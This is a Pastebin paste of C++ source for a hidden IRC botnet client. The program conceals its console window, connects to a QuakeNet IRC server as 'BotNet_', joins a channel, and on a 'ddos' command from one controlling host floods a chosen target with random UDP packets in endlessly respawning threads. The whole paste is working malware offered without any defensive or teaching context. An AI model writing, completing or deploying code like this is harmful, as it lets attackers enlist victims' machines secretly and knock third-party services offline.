Advertisement
Guest User

Untitled

a guest
Jun 28th, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 4.32 KB | None | 0 0
  1. #include <windows.h>
  2. #include <iostream>
  3. #include <winsock2.h>
  4. #include <boost/thread.hpp>
  5. #include <boost/asio.hpp>
  6. #include <vector>
  7. #include <cstdlib>
  8.  
  9. typedef std::vector<std::string> StringVec;
  10.  
  11. void run_in_hidden_mode()
  12. {
  13.     HWND Stealth;
  14.     AllocConsole();
  15.     Stealth = FindWindowA("ConsoleWindowClass", NULL);
  16.     ShowWindow(Stealth,0);
  17. }
  18.  
  19. void ddos(const std::string& host, int port)
  20. {
  21.     std::cout << "Attacking: " << host << ":" << port << std::endl;
  22.     WSAData wsaData;
  23.     if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
  24.         return;
  25.  
  26.     std::clog << "WSA Ok" << std::endl;
  27.     SOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  28.     if (sock == INVALID_SOCKET || sock == SOCKET_ERROR)
  29.         return;
  30.  
  31.     std::clog << "Socket ok" << std::endl;
  32.     sockaddr_in service;
  33.     LPHOSTENT p = gethostbyname(host.c_str());
  34.     service.sin_family = AF_INET;
  35.     service.sin_port = htons(port);
  36.     service.sin_addr = *((LPIN_ADDR)*p->h_addr_list);
  37.     if (connect(sock, (SOCKADDR*)&service, sizeof(service)) == SOCKET_ERROR)
  38.         return;
  39.  
  40.     std::clog << "Connect ok." << std::endl;
  41.     char toSend[256];
  42.     for (int i = 0; i < 256; i++)
  43.         toSend[i] = (char)(rand() % 255);
  44.  
  45.     bool sent = false;
  46.     for (unsigned int i = 0; i < 0xFFFF; i++) {
  47.         if (sendto(sock, toSend, 256 - (rand() % 10), 0, (SOCKADDR*)&service, sizeof(service)) == SOCKET_ERROR)
  48.             continue;
  49.  
  50.         if (!sent) {
  51.             std::clog << "Sent bytes." << std::endl;
  52.             sent = true;
  53.         }
  54.     }
  55.     boost::thread thread(boost::bind(ddos, host, port));
  56. }
  57.  
  58. std::string getMsg(std::string res)
  59. {
  60.     size_t f = res.find(" :");
  61.     if (f == std::string::npos)
  62.         return std::string();
  63.  
  64.     size_t p = res.find("\r\n");
  65.     if (p != std::string::npos)
  66.         res.erase(p);
  67.  
  68.     if (res.length() >= f+2) {
  69.         return res.substr(f+2);
  70.     }
  71.     return std::string();
  72. }
  73.  
  74. std::string getHost(std::string res)
  75. {   std::string::size_type start = res.find("@");
  76.     if(start == std::string::npos)
  77.         return std::string();
  78.  
  79.     return res.substr(start, res.find(" ")-start);
  80. }
  81.  
  82. StringVec splitString(const std::string& str, const std::string& sep)
  83. {
  84.     StringVec ret;
  85.     std::string::size_type start = 0, end = 0;
  86.     while((end = str.find(sep, start)) != std::string::npos) {
  87.         ret.push_back(str.substr(start, end - start));
  88.         start = end + sep.size();
  89.     }
  90.     ret.push_back(str.substr(start));
  91.     return ret;
  92. }
  93.  
  94. std::string recv_socket(boost::asio::ip::tcp::socket* socket)
  95. {
  96.     boost::array<char, 256> buffer;
  97.     boost::system::error_code error;
  98.     size_t p = socket->read_some(boost::asio::buffer(buffer), error);
  99.     if (error == boost::asio::error::eof)
  100.         return std::string();
  101.  
  102.     return std::string(buffer.data());
  103. }
  104.  
  105. int main()
  106. {
  107.     run_in_hidden_mode();
  108.     boost::asio::io_service service;
  109.     boost::asio::ip::tcp::socket s(service);
  110.     boost::asio::ip::tcp::resolver resolver(service);
  111.     boost::asio::ip::tcp::resolver::query q("us.quakenet.org", "6667");
  112.     boost::asio::ip::tcp::resolver::iterator endpoint_iterator = resolver.resolve(q);
  113.     boost::asio::ip::tcp::resolver::iterator end;
  114.     boost::system::error_code error = boost::asio::error::host_not_found;
  115.     while (error && endpoint_iterator != end) {
  116.         s.close();
  117.         s.connect(*endpoint_iterator++, error);
  118.     }
  119.     if (error) {
  120.         throw boost::system::system_error(error);
  121.         return 1;
  122.     }
  123.     std::string buffer;
  124.     std::string nick = "USER BotNet_ * * :BotNet_\r\n";
  125.     boost::asio::write(s, boost::asio::buffer(nick, nick.length()));
  126.     nick = "NICK BotNet_\r\n";
  127.     boost::asio::write(s, boost::asio::buffer(nick, nick.length()));
  128.     std::string name = "BotNet_";
  129.     while (true) {
  130.         buffer = recv_socket(&s);
  131.         std::string msg = getMsg(buffer), host = getHost(buffer);
  132.         StringVec splited = splitString(msg, " ");
  133.         if (buffer.substr(0, 4) == "PING") {
  134.             std::string tmp = "PO" + buffer.substr(2) + "\r\n";
  135.             boost::asio::write(s, boost::asio::buffer(tmp, tmp.length()));
  136.             tmp = "JOIN #Fallen\r\n";
  137.             boost::asio::write(s, boost::asio::buffer(tmp, tmp.length()));
  138.         } else if (buffer.find("Nickname") != std::string::npos) {
  139.             name += "_";
  140.             std::string tmp = "NICK " + name + "\r\n";
  141.             boost::asio::write(s, boost::asio::buffer(tmp, tmp.length()));
  142.         } else if (splited[0] == "ddos" && host == "@Xeonz.users.quakenet.org") {
  143.             std::string _host = splited[1];
  144.             int port = atoi(splited[2].c_str());
  145.             boost::thread thread(boost::bind(ddos, _host, port));
  146.         }
  147.         std::cout << buffer << std::endl;
  148.     }
  149.     return 0;
  150. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement